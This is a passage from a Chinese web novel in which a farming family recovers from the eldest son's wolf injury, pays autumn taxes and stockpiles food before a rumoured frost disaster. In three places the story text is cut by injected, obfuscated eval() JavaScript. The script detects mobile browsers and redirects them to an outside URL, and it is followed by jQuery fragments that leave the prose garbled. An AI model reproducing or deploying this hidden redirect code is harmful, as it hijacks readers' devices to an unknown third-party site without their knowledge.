宋大郎虚弱睁开眼,扯出一抹笑,“你大哥我还没有羸弱到那种程度,不过是废了一条腿,日后怕是要成为一个坡子咯…” 宋三郎皱起眉头,“怎么会。” 林安拍拍他的肩膀,“宋大哥被狼咬了小腿的一块肉,还好送来的及时,不然……” “眼下也是好的,至少命保住了。” “说起来,还多亏了宋大哥当天从谢家求来的老参,当时没用完,剩下的刚好够宋大哥的一济救命汤药。” 林老婆子流着泪,“谢家大善人,已经救了两条命了!” 宋老汉也道,“这份恩情,是无论如何都要还的。” 宋三郎忍住心底那一股气,默默从篮子里拿出大肉包子,道,“爹娘,大哥大嫂,你们也一天没有吃东西了,吃些垫垫肚子吧。” 一家人吃着肉包子,心中那抹阴云才散去一些。 宋三郎道,“我和小妹得了县太爷的准许,一同随着来了镇上,现在二哥和二嫂都在家中抢收稻子,被上游村子偷走的稻子也都还回来了,爹娘不要担心。” 宋老汉一听这话,心中安定不少。要说这庄稼人在乎什么,那肯定是庄稼啊。 连声道:“这就好,这就好……” 宋三郎继续说:“上游村参与偷稻子的人,都被县太爷抓进了大牢,不日就要审问,还有大哥治病的银钱,里正也答应会督促上游村人送过来。” 宋老汉和林老婆子一听这话,点头道:“好啊!好!那些人罪有应得,这下咱们稻香村也能安稳一些时日了!” 原本他们还愁着呢,好不容易挨过了宋老汉出医馆,这才多久,宋大郎又进来了,眼下秋收之后就要交税,要是交不够粮食,就得交银子补齐了,哪来这么多银子啊。 要是大郎治病有银子着落了,家里日子也能好过一些。 宋老汉感慨:“等过完这段日子,咱们一定要去里正家道谢去。” 林老婆子和朱秀儿也连连点头。 宋明玉来到宋大郎身边,看着他苍白的嘴唇,趴在他身边,圆圆的脑袋凑上前,担忧问:“大哥,你怎么样了。” 宋大郎看到小妹,想抬手摸摸她圆润的头发,发现全身有气无力,遂作罢。 “小妹乖,大哥没事,以后小妹还可以坐大哥肩膀上,大哥带小妹玩飞飞!” 宋明玉将脸贴在宋大郎手心,双眼亮晶晶的,“真的吗大哥,那大哥要快快好起来。” “囡囡不仅要玩飞飞,还要骑大马!” 小隔间内的大人们听到宋明玉这可爱的话,都露出一个欣慰的笑,尤其是宋老汉和林老婆子,看着幺女,只觉得心都要化了。 宋大郎露出一个柔和的笑,“这次多亏了小妹想出来的法子,不然我能不能见到今天的太阳也不一定。” 宋明玉在宋大郎手掌心了蹭了蹭,坚定道:“大哥是有神仙保佑的,一定会没事的!” 一家人又笑起来,宋大郎心中也稍稍安定。不过就是瘸了一条腿,行动不便而已,命还在呢,以后也是能跑能跳的,这有什么好在意的。 家人都在身边,妻儿尚且安稳,他还有很多事要做。 16. 第16章 宋大郎在平安医馆里修养了几日,这期间只留下朱秀儿一人在此照料,其他人都回家抢收稻子去了。 新收下来的稻子还得趁着天气好赶紧晾晒,晾干之后还得去壳,就得到了粗米。 想要得到细米还得继续研磨,但乡下人没那么多讲究,有粮食吃就不错了,还分什么粗米细米的。 宋老汉与林老婆子、宋二郎一同抢收,柳雪梅则带着家中小娃去山上找山货,多囤些粮食。毕竟交秋税之后,家里估计一粒米都不剩。 柳雪梅也算着日子,数着小房内的几袋子粗米,“这可怎么办啊,这些粮食根本不够交税的……” 过两天省城里催税的大人就要下来了,宋老汉也看着根本不足够家中人头数的稻子,接连叹气。 最后和林老婆子商量,决定从公中拿银子抵税。 大顺朝根据地区的不同,所收的税也不一样,在北方一年一熟,一年也只征收一次税,在南方一年两熟,就得征两次,若是没有粮食,就得按照人头交银钱税,一人一次税是五两银子。 未满十四的小孩不用交。 林老婆子算着家中的稻子,估摸着这次就算将新稻和家中的旧稻全都拿去交税,也还差两个人,也就是得拿十两银子去交。 林老婆子心疼得直滴血,这些钱可是全家辛辛苦苦攒了这么多年才攒下来的,一年到头都埋在田地头,就盼望着交完税,还有点余粮,好省点银钱,供孩子们读书去。 若是遇上灾年,便要拿银子抵税,多抵两次,怕是地都要卖掉。 林老婆子叹着气,这几日心里也一直惦念着大郎,也不知道他在医馆里怎么样了。 正想着,平安医馆的马车就来到了家门口,林老婆子心一跳,赶忙迎了出去,看见朱秀儿扶着宋大郎下马车来。 林老婆子心中的大石放下,连忙也上去扶着宋大郎,“秀儿,这是……” 朱秀儿答:“娘,林大夫说大郎可以回家来静养着了,只要后面仔细些养着,下地是不成问题的。” 林老婆子安下心来,“好!好!那就好,来!大郎进屋来。” “大哥回来啦!” “爹爹!!娘亲,江儿(云儿)好想你们!” “大伯,大伯!” 一群孩子刚跟着柳雪梅去采完山货回来,远远看到有一辆马车停在家门口,又看到几天不见的宋大郎和朱秀儿,个个如同小炮弹一般飞奔过来。 却只站在宋大郎身边,不敢过多靠近,怕伤到他,只围着宋大郎叽叽喳喳道:“我们今天采了很多很多大蘑菇,今晚给大哥煮蘑菇汤喝!” 宋知江和宋知云也道,“爷爷说等爹爹回来就煮兔子吃,今晚爹爹要吃大兔腿!吃完腿腿就好啦!” 最小的宋知文也道:“我也摘了好多好多果子,都给大伯吃!” 宋大郎看着家中几个孩子,都是他亲眼看着长大的,心里暖暖的,一连应下声来,“好!好!大伯都受下了,乖孩子们。” 宋大郎平安归家,宋老汉将养了多日的大兔子炖了,一家人围在一起吃得开心。 第二天,里正匆匆赶来,将三十两交到宋老汉手中,道:“原本是想去平安医馆交了医药钱的,没曾想大郎提前回来了,我们问过了林大夫,说药钱三十两,这是上游村凑出来的医药钱,你们好生拿着。” 宋老汉眼含热泪,昨日宋大郎回家,他就给送大郎回来的药童交了医药钱,比上一次少点,二十两,刚好是整个家的积蓄。 林大夫又多给他们拿了十两。 刚交完医药钱,整个家穷得叮当响,还愁着秋税呢,宋老汉含泪将银钱收下,又去后院将这些天找回来的山货给里正装了满满一大车作为感谢。 “里正老爷,这些天您帮我们家颇多,这些您是无论如何都要收下的,不然…不然我就亲自送到您家去!” 里正本不想收,但是看着宋家人坚持的样子,也只好收下。 回到家,看到这些新鲜漂亮的山货,里正心里也熨贴。这些年来他也锻炼出了看人的本事,摸着胡子点头道:“宋家人都是实心眼,做事老实本分,与之交好也不错。” 里正夫人命人将山货卸下来,全都是新鲜的,还带着泥土的芳香,也笑着:“这宋家人真是实在,也不枉夫君跑上跑下忙活。” * 转眼间稻子已经收完。秋收已经过去,收税正式拉开帷幕。 县城中下来的催税衙役这些天也都进村来,挨家挨户敲门,拿着薄子对着人口,一家有几口人,年岁几何,都清清楚楚记录在册,就算有心想逃税也是不成的。 宋老汉一家认真商量过后,决定将家中的所有粮食全都交税,还差两个人,就再交十两银子。 这些天采的山货也不少,实在不行,就去镇子上买些粮食回来存着,大伙齐心协力,定能把冬天给度过去。 宋家人麻利交完税,收税的官差也没有为难他们,村子里响起此起彼伏的哭喊声,“老天爷啊,实在是活不起了,家里是一丁点粮食都没有了啊…” 收税的官差冷冷道:“没有粮食也可以拿山货来抵。” 一时间山货成了抢手货,附近几个村子的人纷纷拖家带口去山上扫荡,所有能吃的都不能幸免,全都被挖回去交税去了。 宋家交完税后,宋老汉马不停蹄赶到镇子上的米粮店问价,如今正值要交税的时节,粮食价格飞涨,原本30文钱一斗粮食,如今竟然涨到了60文的天价,整整翻了两倍! 宋老汉将从家中带来的两只野山鸡拿到酒楼卖了,两只山鸡共有六十多斤重,来送的时候健壮有力,掌柜给价也爽快,按照如今新鲜鸡肉的价格给,一斤10文,给了600文。 宋老汉拿着钱,犹豫着,又到了米粮店门口,听着比往常翻了一倍的高价,心里拿不定主意。 米店的伙计看到宋老汉一直在附近犹豫,就问道:“可是家中交了赋税,没有余粮了?” 宋老汉怀疑看了他一眼,谨慎开口:“我是替村里人来打探一下米价。” 伙计笑起来,“要是想买米的话,我可劝你早点买咯…” 说着,伙计压低声音:“听没听说过,北方今年闹了大霜灾,一棵粮食都没活下来,那边的粮食都卖到天价啦。” “前阵子米价就开始涨了,如今才到了60文一斗,估计再过一阵子,七八十文一斗也不是没有可能。” 宋老汉想起一个月前大郎买的五斤棉花,还有打探到的消息。这北方霜灾不是胡掐,是确有其事。 他心下震惊,“这霜灾竟然还没有过去,老天爷哟,这都一个月了。” 伙计一边招呼着其他进店买米的客人,见宋老汉接着话茬,也继续道:“可不是嘛,听说朝廷为了北边的霜灾,又吵又闹的,前阵子连斩了几个贪污的大官,眼看着情形就要不好了。” 宋老汉凑近了些,“若是再这样下去,那岂不是……” 伙计见他知晓严重性,不吝啬说着:“大爷,早做准备吧,这些日子富户们也都得了消息,开始屯粮囤货了,我们福满镇这个小地方的米店,每日也有不少家丁小厮来采买呢,一买就是几十袋。” 宋老汉消化着信息,心里有了计量,连声朝着米店伙计道谢:“多谢小哥直言,感激不尽!” 伙计摆摆手,立马进店招呼去了。 宋老汉又是犹豫片刻,这才下定决心。反正家中正缺粮,银子再多也没有命重要,宋老汉当机立断,将买山鸡得到的600文钱全都买了大米。 60文钱一斗,600文钱刚好买了10斗,又好说歹说,伙计也爽快,赠予了一些未脱壳的谷子。 回去脱壳,脱下来的糠也能喂给家里的鸡鸭。 10斗大米就是120斤,米店的麻袋大,装了两个大袋子还空余一些空间出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14558228|154537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两个个米店的伙计出来,将120斤粗米搬到了宋老汉的牛车上,宋老汉又是连连向伙计道谢,这才离去。 想到棉花,宋老汉又到了布庄外头,只见人山人海的,布庄一开门便有一堆人一窝蜂涌进去,他担心牛车上的的粮食被人趁乱偷走,便没有靠近。 等了一段时间,他匆匆拉住一个抗着大布袋子出来的小哥,看着应该是在大户人家里做小厮的,连忙问道: “俺老汉想来镇子上扯些布回去,给孩子们做件新衣裳,这么多人,这是怎么了。” 小厮见他淳朴,连声道:“老人家,北边的霜灾现在有往下扩展的趋势,估计就这一个月,霜灾就要到咱们徽州了,这些人都在抢棉花呢。” 宋老汉大惊,“一个月!只剩一个月了!?” 小厮想着这消息也没有什么好隐藏的,连声道:“这是咱们主家得的消息,各路的人如今都在自寻出路呢,早点准备起来吧。” “那这棉花,如今是多少银子一斤?” 小厮道,“昨日还是200文,今日已经是208文了。” 宋老汉大惊失色,松开小厮的手就往驾着牛车稻香村的方向赶,山路不好走,也没有阻挡他的步伐。 宋家人见宋老汉这样着急地赶回来,连忙过去接,“这是怎么了?” 宋老汉将在镇子上听到的消息都一五一十说了,最后感叹,“还好大郎当日买了五斤棉花,足够咱们一家子做些棉衣裳,如今棉花已经208文一斤了,听说明日还要再涨!” 宋家人纷纷大惊皱眉,棉花已经208文一斤了!? 林老婆子也在屋里踱步,犹豫着,“不成,老头子,不怕一万就怕万一,这霜灾在北方害了这么久,万一那天真的南下到咱们徽州府,到时候,咱们稻香村这犄角旮旯的,朝廷也管不到咱们这,不如现在多买些囤着!这年头,活命才是最要紧!” 宋大郎也点头,“对,爹!趁现在还在秋收着,十里八村得消息的人比较少,咱们得赶紧去多买些粮食回来,还有一些盐,油之类。” 朱秀儿也开口说,“我这些天也多上山采山货,那小哥说还有一个月霜灾才到咱们这,这一个月咱们多囤些粮食。” 一家人纷纷附和起来,柳雪梅心中惴惴不安,不知道娘家交完税之后还有没有吃食,若是交不上税,大哥二哥会被强制去服役的。 还有这一个月后可能就要到来的霜灾… 她不可能真的看着娘家人去死吧! …… 宋老汉点着头,“老大说得对,现在情况不对,家里面还剩多少银钱,先拿出来,去买粮食要紧。” “银子没了还可以再赚,人要活着!” 林老婆子赞同,将家中的二十多两碎银全部拿了出来,除去这些天给宋大郎买药换药的钱,还剩下十九两。 宋大郎从医馆回来后,卧床修养了大半月,如今也已经能够下地走路,只不过行动有些不便,但至少能不借助外力自由行动了。 宋大郎很乐观,还时常安慰妻子,说自己一个大男人,有手有脚的,就算是腿坡了点又怎么样,活照样能干。 朱秀儿这才啼笑。 最后一家人商量着,由宋老汉带着林老婆子还有宋二郎去镇上买粮食和日用品,朱秀儿和柳雪梅带着家中孩子去山上继续采山货。 宋三郎想了想,正色开口:“爹,娘,大哥二哥,如今秋收已过,还有一个月霜灾就要来了,书院中还有很多苦读的同窗和一些课业,我得回去一趟,过些时日我就请夫子准许,回家读书备考。” “粮价长得快,这些天我也多接几本抄书的活,多赚些银子。” 宋老汉听了,心里欣慰无比,他坚持送孩子们去上学,就是为了让孩子们知晓为人之礼,这样无论走到哪,都不会亏了心。 林老婆子更是点头赞同,“是了是了,那便一同去镇上。” 17. 第17章 一家人齐齐出动,分工明确。 就连腿脚不便的宋大郎都坚持说要在家看山货。 如山楂之类新鲜的果子能保存的时间不长,便商量着留下一半给小孩们当零嘴,另一半晒干了,存的时间久,到时候还能泡水喝。 朱秀儿与柳雪梅带着孩子们去采山货,宋老汉也很快驾着牛车来到镇子上。 和宋二郎两人五大三粗的,来到米粮店就买了200斗粮食,一斗是12斤,200斗就是2400斤。 如今的粗米价格是60文一斗,200斗就是12两银子。又买了一些米面,林老婆子将嘴皮子磨破了,掌柜的才将米面的零头给抹了,只要了12两,还送了两斤没脱壳的谷子,一人行这才离去。 一下子买得多的,米店会配有专门的送米车帮忙送到家门,但一般也只有镇子上的富户会一下子买这么多粮食,没见过泥腿子也一下子来买这么多的。 掌柜的有点犹豫,也不知道这几个农户是从哪个山旮旯出来的,要是叫米店伙计去送粮,也不知道得送到什么时候。 宋老汉没管这么多,和宋二郎两人背起米袋子就走。为了以防万一,牛车停在离米店不远的柳树桩旁。 北方这么久的霜灾,从一个月前到现在一直没结束,若霜灾真的南下来到徽州府,也不知道这场灾难什么时候过去,还是多囤些粮食安心。 宋老汉没有救世济人这么大的志向,只想一家人能够平平安安,整整齐齐地活着。 一下子买了这么多斤粗米,一个大麻袋子里头装着100斤,一共分了二十多个袋子装着。 这种时候,更不应该引人注目。要是拉着牛车大摇大摆去米店门口搬粮,还一下买这么多,这不是明摆着告诉别人,自家粮食多得很。 再加上现在秋税还没有完全结束,听说兴宁县下很多村子今年都交不齐税,这个节骨眼还是小心为好。 宋老汉和宋二郎负责将粮食搬过来,反正两个泥腿子,走在路上也没人注意到他们,他们用的还是家里自带的大麻袋子,灰扑扑的,看着也不像是什么值钱的玩意,最多以为是乡下的泥腿子来镇子上拿山货换些钱。 就这样一连搬了十多趟,终于将粮食全都搬到的板车上。林老婆子心疼爷俩,特别是宋老汉,养了一个多月,这身子骨才刚好,就来搬这么重的粮食。 当下便让两人守在这牛车旁,将粮食看好了,自己进镇子买些日用品。 油是必须要买的,想到家中还有七斤的腊肉,林老婆子去到肉铺,看到猪肉荣还在卖肉,便问道:“这猪肉多少钱一斤?” 猪肉荣看了她一眼,“52文。” 临林老婆子皱眉,“如今已经涨到52文了?一个月前不还是33文吗,怎么涨得这样快?一个月涨价19文钱,这谁吃得起。” 猪肉荣将锃亮的大刀拍在案板上,“你也知道那是一个月前了,眼看着秋收就要过去了,冬天紧跟着就来,北边的霜灾最近闹的沸沸扬扬,猪肉的价格涨得还算好的。” 猪肉荣见林老婆子皱着眉头犹豫,继续道:“不信的话就去打听一下牛羊肉的价,那才是真正的天价。” 林老婆子攥紧了袖子,这物价是一天一个样,她有些庆幸,还好大郎早早发现物价开始飞涨,一个月前就多买了一些,省下不少银子。 林老婆子也不含糊,直道:“给我割10斤猪肉,要上好的五花,肥肉多来点,再来两斤板油。” 猪肉荣挑起一块肉,问:“这块行不?” 林老婆子仔细看过,又仔细和旁边其他的猪肉对比,指着另一块猪肉道:“那块吧。” 猪肉荣将林老婆子所指的猪肉拿过来,“这是一整头猪,今早才刚杀的,新鲜着的。” 说话间,已经完整割下十条猪肉,猪肉荣的手不含糊,刀也利索,每一条都是一斤,十条就是十斤。 又割了两斤板油放在称上,“正正好。” 板油因着能煎出油,还有油渣可以吃,也算的上是肉,比较受欢迎,当然价格也更贵一些。 一斤60文,已经和一斗粮食的价一样了。 十斤猪肉加三斤板油,一共640文,林老婆子付得心疼。她一辈子精打细算,从来没有一下子花过这么多钱。 但一想到家中老小,十一张嘴等着吃饭,万一霜灾真的来了,可不能只守着那点银钱,让家中孩子受苦吧。 更何况银钱本来存着就是为了应对这样的不测。 这样一想,林老婆子心中好受多了,痛快付了钱,猪肉荣也和往常一样,买得多的人会额外送一些添头。 他拿起一根大棒骨一同塞到袋子离递给林老婆子,“拿好咯。” 林老婆子露出真心实意的笑,大棒骨虽然肉少,但炖汤好喝,与鲜蘑菇、栗子一同放进锅里,再加上一些香葱,炖上一个时辰,那才叫美味。 林老婆子先将猪肉送回到牛车上,再去买了盐,还买了一口大铁锅,一些妇人所需的红糖,老姜之类。 再加上一些零碎七七八八的东西,还有笔墨纸砚,家里孩子也用得上。仔细算下来一共花去了五两银子。这年头官府垄断了盐和铁的贸易,价格奇高,多花点银子也不奇怪。 林老婆子又去了平安医馆,将所见所闻都告知了林大夫和林安,临走不忘了再说几句,记得一定要开始准备起来。 林安看着林老婆子走的背影若有所思,“大伯,咱们是不是也应该做起准备了?” 林大夫摸着胡子,看着天,一碧如洗,也不知道将来会怎么样。 他慢悠悠说:“安儿,回家里面通知一下族老,尽早做准备。” 林安应下,又有些犹豫,“可是,再过些时日就是兴宁书院公开考试选学子的日子了,我……” 林大夫道:“安儿,你一心求读书,才来了这个小镇子上跟着我,如今你也已经长大了,知道什么时候该做什么事。” 林安不敢反驳,低头道:“是,我现在就备马回去通知族老。” * 宋老汉一行人这一趟下来,几乎花光了家底,林老婆子一盘算着,二十两银子已经花了个精光。 全部身家也才三十两,当日交了十两银子抵税,如今家中是真正的没有银钱了。 “家中不是还有些鸡鸭么,那两头大猪也到了出栏的日子,下次来镇子,我就将它拿去卖了,现在猪肉贵,定能卖上不少银子。”宋老汉安慰道。 宋二郎也道:“这霜灾还有一个多月,咱们多上山碰碰运气,再打一些野味去镇子上卖,也能攒不少钱。” 宋老汉欣慰咧开嘴笑着,“上次那两只肥山鸡,足足有六十多斤重,卖了600文钱,也买不少粮食。” 林老婆子听着爷俩的话,心下安定不少。 但宋大郎就是在深山里头被狼给咬了,大难不死才救回一条命来,如今一听到要进山就忍不住担心。 在山的外围找一些野菜蘑菇之类的也还行,但是想要抓山鸡狍子之类的,必须得进到里面,还得把握度量,如果不小心进了深山,那可就麻烦了。 宋老汉和宋二郎一路商量着,牛车飞快往家里赶去。由着三人采买得动作都很快,刚好踏着夕阳回到家门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林老婆子来到厨房,看着新买回来的大铁锅里飘出来阵阵勾人的香味,猪油渣漂浮在上面,下层是金莹剔透的猪油,勾的一群小馋虫都趴在厨房外等着。 林老婆子笑着,从锅里头捞出几块猪油渣,放到一旁准备盛猪油渣的小框子里晾着,道:“这几块要先晾凉之后才能吃,不然把嘴烫起泡了,找你们自个娘哭去。” 几个孩子眼睛纷纷一亮,自动忽略了林老婆子后头的那句话,只听到了已经放了几块猪油渣晾着了! 林老婆子手忙脚乱,和朱秀儿一同忙得热火朝天。 后院的屋檐下还挂着七斤腊肉,林老婆子想让孩子们多吃些比较新鲜的肉,因此买来白酒。 将宋大郎三人切好的猪肉先下锅烫一烫,烫到表皮金黄捞出,然后舀一勺新炸好的猪油放入锅中,再将刚捞上来的猪肉放进去,一起翻炒,直至猪肉炒至半透明状,此时的猪肉焦香味美,一口下去口齿生津,被炸至半焦黄,就可以和猪油一同捞出,放在罐子里备用。 等热猪肉稍微凉下来之后,再将白酒放进去,搅拌一下,将猪肉全都浸没在猪肉和白酒里头,盖上盖子就可以封存起来了。 这样保存的猪肉,不管什么时候拿出来吃,都一直是新鲜状态,好吃的很。 林老婆子从厨房探出头,对宋二郎道:“二郎,先前咱们家腌咸菜还有几个大罐子,堂屋的角落,你去找出来,洗干净了。” 宋二郎处理完肉,正打算躲懒呢,一听林老婆子这话,只能怏怏起来找罐子去。 18. 第18章 还不如现在就通知了,让他们早作打算也好。 如今秋收也已经过去,稻香村几乎人人都上山采山货,也没人在这紧要关头去镇子上逛集的,消息闭塞,村里人基本没听说北边的霜灾。 宋老汉要出门,林老婆子赞同点着头,“是应该去通知一下。” 说着瞥了宋老汉一眼,“你嘴上没个把关,说话注意些分寸,咱们家这些粮食吃食,不能向任何人透露出去。” 宋老汉咧嘴笑,“哎呀老婆子,我晓得分寸。” 林老婆子擦手,拿了一些蘑菇和栗子出来,犹豫片刻,又割了一整条猪肉,分成五大块,分着放在每一个油纸包里,拎给宋老汉: “这些拿去给王二狗,赵大牛家,李村长和李三叔家,还有孙家的。之前为了进山救大郎,他们都是第一时间站出来的,咱们家别的没有,眼下就吃食多一些,拿去还些恩情也好。” 宋老汉拎过,感受到里头沉甸甸的情谊,心里一暖:“老婆子,还是你想的周到。” 农家人也没啥好东西,简单一些山货粮食装载着满满的感恩之情。 林老婆子又进去厨房继续忙活了,笑道:“快去吧,早点回来。” 宋老汉也笑着点头,踩着夕阳就出了门。 林老婆子站在厨房门口看着宋老汉出门,心里想着家中粮食的事,想了想还是停下手中的活计,召集家中老小,严肃开口: “如今北边形势不好,霜灾眼看着就要到咱们徽州府了,大伙心里头也清楚,咱们花光家底全买了粮食,就为了到时候霜灾南下能活下来。” “就算霜灾没来,这些粮食吃食也足够咱们一家人仔细嚼用个一年半载,出门都仔细着些,关乎性命的大事,半个字都不准说出去。” 柳雪梅听着,手一抖。 不知道为什么,就感觉林老婆子一直在盯着自己看,柳雪梅心里毛毛的。 宋大郎和宋二郎连忙回应:“娘,放心吧,我们知晓轻重。” 林老婆子又道:“这霜冻就要来了,没有炭火也不行,明天大郎在家守着,其他人都上山采山货,二郎,你和你爹去砍些木头回来,我记得靠近咱家的山脚下有个烧炭的窑子,趁这些天赶紧烧些炭备着。” 宋二郎应下。 “还有水,水可不能忘了。有空还得去挑水回来。” “大伙的厚被子厚衣裳都拿出来备着,过两日将两头大猪牵去镇上卖了,再买些鸡毛鸭毛回来,棉花贵,但也得有几件厚实衣裳过冬…” …… 宋老汉先去了王二狗家。 王二狗家在村子边缘,只有一间简单的茅草屋颤颤巍巍立着,围了一个小院子,远远看去,依稀能看到里头种的菜。 宋老汉隔着大老远喊:“二狗,二狗!” 王二狗听到声音就出了门,看到宋老汉前来,扬起笑出来迎接,“宋家大伯,这…您怎么来了。” 宋老汉拍拍他的肩膀,“进屋聊。” 俩人进了屋,只见茅草屋里头也是简陋至极,房门板还少了一块,宋老汉认出这是当天王二狗特地卸了,为了让他去医馆的路上好受一些。 宋老汉心里感激,将油布包放在桌子上,“二狗,这些天一直没能亲口来跟你道一声谢,这些东西,你且收着。” 王二狗一看,就知道油布里头是吃食。如今正值秋收,粮食多贵他是知道的,立马推回去:“不成不成,当初我饿得只剩一口气了,也是宋大伯您心善,给我一口饭吃,我才捡回一条命,说起来也应该是我报恩才对。” 宋老汉拍了拍他的手:“二狗,你是个好孩子,收下吧,是我和你嫂子的一片心意。” 王二狗的眼眶顿时红了。 宋老汉还要去另外几家通知,便长话短说,将镇子上的见闻全都说了,让王二狗这些天多囤些过冬的粮食柴火,以备不时之需。 还说了如今镇子上各种山货的价格,包括山鸡山兔还有狍子之类,他相信以二狗的身手,打些猎物去换银钱没问题。 王二狗知道宋老汉这是为他好,感激拉着宋老汉的手,“宋大伯,我这……” 宋老汉拍拍王二狗的肩膀,“傻孩子,以后有任何事都可以来咱家。” 说完便出了门。 王二狗收下沉甸甸的油布包。思来想去,这些天他也靠着进山打猎,抓了不少野味,明天就去镇子上卖掉,听宋老汉的话,全都换成粮食存着。 他决定了,以后都要追随宋家的步伐。 宋老汉紧接着去了赵大牛家,赵大牛家只有一个寡母,年轻时为了生赵大牛落下病根,平日病歪歪的,时常要吃药,不怎么出门,赵大牛也算是吃百家饭长大的。 宋老汉将话带到,告知自己所知道的所有,将油布包留下,在赵大牛母子的千恩万谢中走了。 孙家人丁兴旺,汉子多憨厚,做事老实本分,家里也比较殷实,坚决不收宋老汉送来的油布包。 最后还是宋老汉假装板了脸,一家人才收下,又客客气气留人吃饭,宋老汉说着还有事,下次必须要和汉子们聚一顿酒,这才高高兴兴离开。 孙家人这些天也只顾着上山,不知道外头这情况,他们都将宋老汉的话上了心,一家人围起来商量了半宿,决定听从宋老汉的建议,多采山货卖钱,进城囤粮。 宋老汉又去了李三叔家,李家已经分家了,李三叔只分到了一间村子边缘的小屋子。 宋老汉去的时候,卢巧娘正训斥着一个男娃子,叮嘱他以后不能独自上山。 宋老汉笑打招呼:“李三家的!” 卢巧娘回过头,看到是宋老汉,也笑着回应,“哎,是宋大伯,李三出去挑水了,马上就回来。” 正说着,就听到李三粗着大嗓门道:“娘子,我回来啦!” 看到宋老汉站在院子外,急忙将担子放下,热情笑道:“宋大伯怎么在外面,快进来坐。” 宋老汉笑着递过去油布包,将事情完整说了一遍,最后道:“我也不过多打搅了,还得去村长家呢。” 李三叔拿着沉甸甸的包裹,和卢巧娘对视一眼,都从对方眼里看到了担忧。 卢巧娘忧虑:“老天爷啊,这是成心不让人活命啊!” 俩人关起门来商量,也决定明日就去镇子上打探情况,顺带买些粮食和冬衣回来。 卢巧娘掰扯着手指头,“还有炭火,柴火,厚袄子,孩儿也到了启蒙的年岁,还得买些书……唉,看来这些天存下的银钱又要没了。” 李三叔揽过卢巧娘,“怕啥,你男人有手有脚的,赚银子养媳妇孩子的能力还是有的,媳妇想买啥尽管买。” 卢巧娘噗嗤一笑,“就你嘴混。” 宋老汉最后去了李村长家,将情况和村长说明之后,就回了家。 这天是越来越干,走几步路嗓子就要渴得冒烟,急匆匆从大水缸里面舀一瓢水出来喝,一边说道: “都去通知了,村长说明日敲钟集合,将这事讲清楚,咱们也问心无愧了。” * 朱秀儿晚上回到屋内,看着宋大郎,欲言又止。 宋大郎发觉朱秀儿想要说话,拉过她的手,“这是怎么了?” 朱秀儿犹豫开口:“眼下这霜灾就要来了,我心里不踏实,想着娘家那边……万一没人注意到,或者没开始准备起来…” 宋大郎沉默一会,也道:“明日我跟爹娘说一声,回娘家一趟,通知一下岳父岳母也是好的。” 朱秀儿红着眼,“大郎,我…我一直记得你当年的恩情,若是没有你,我早就已经…” 宋大郎将朱秀儿拉到怀里,轻轻拍着她的背,“那些事早就已经过去了,我看谁还敢再拿当年的事来嚼舌根子。” 朱秀儿轻轻啜泣,心里无比安定。 “大郎,只是我这么多年都没和我小娘见过面,实在太过思念。” 宋大郎紧紧握住朱秀儿的手,“明日咱们就出发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14600225|154537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 朱秀儿心里感激,点了点头。 朱秀儿原是兴宁县下治的另一个镇子上富户家里的小庶女,因着是小妾生的,处处谨小慎微,却还是被主母刻意刁难,到了婚嫁的年纪,想趁着老爷不在家,将她发买了去,她誓死不从,跳河自尽,正巧遇到去县城的宋大郎,被救了起来,这才活下一条命来。 主母看着宋大郎一身泥污,膀大腰圆,五大三粗,就知道这是一个穷困的农户,大笑三声便给朱秀儿许下这门婚事。 怕被旁人诟病,便散播谣言说:是因为抓到了朱秀儿与宋大郎的奸情,不堪受辱,不想因为一个低贱小妾生的庶女辱没了朱家的门楣,这才心不甘情不愿地将朱秀儿下嫁给了宋大郎。 之后便将朱秀儿近乎扫地出门。 一个污了名声被主母赶出来的庶女,下场可知。但出门后却见到了当日救她的宋大郎,不仅如此,就连宋老汉和林老婆子都在,一家人亲热拉过她的手,对她说: “妹子,别怕,咱们农户几个没见识,但也知道事的轻重,先到咱们家避几天,等风头过去,你再想办法去往别处,绝不会据着你。” 朱秀儿哭出声来,从来没有人在她飘摇的人生中,这样为她挡住泼天的污名和风雨。 后来,这一住,便是好多年。 宋大郎知晓朱秀儿心里苦,高门大户里的小姐嫁到自家来,性子柔弱,又知书达礼,更是心疼得不行,将人紧紧抱在怀里。 朱秀儿进门这么多年,不争不抢,还会一手上好得针线活,每次拿去镇子上买,都能比旁人多得几枚铜板。 为了讨秀儿欢心,他时常给朱秀儿带一些簪子之类女儿家喜爱的玩意回来逗她开心,朱秀儿每次说又废银子,但嘴上的笑怎么也压不下去。 俩人就这样相拥而眠。 …… 一大早,宋家人起来各自忙活。 宋大郎与宋老汉和林老婆子说明了意愿,两人自然是同意的,媳妇担心娘家,再正常不过的事,就算再忙也不能据着人。 林老婆子担心地看着宋大郎的腿,“大郎,你这腿……” 宋大郎早就料到林老婆子会这么说,大早上起来他就找来两块板子,和着药紧紧固定伤口处,这样走起路来就不会撕扯到伤口了。 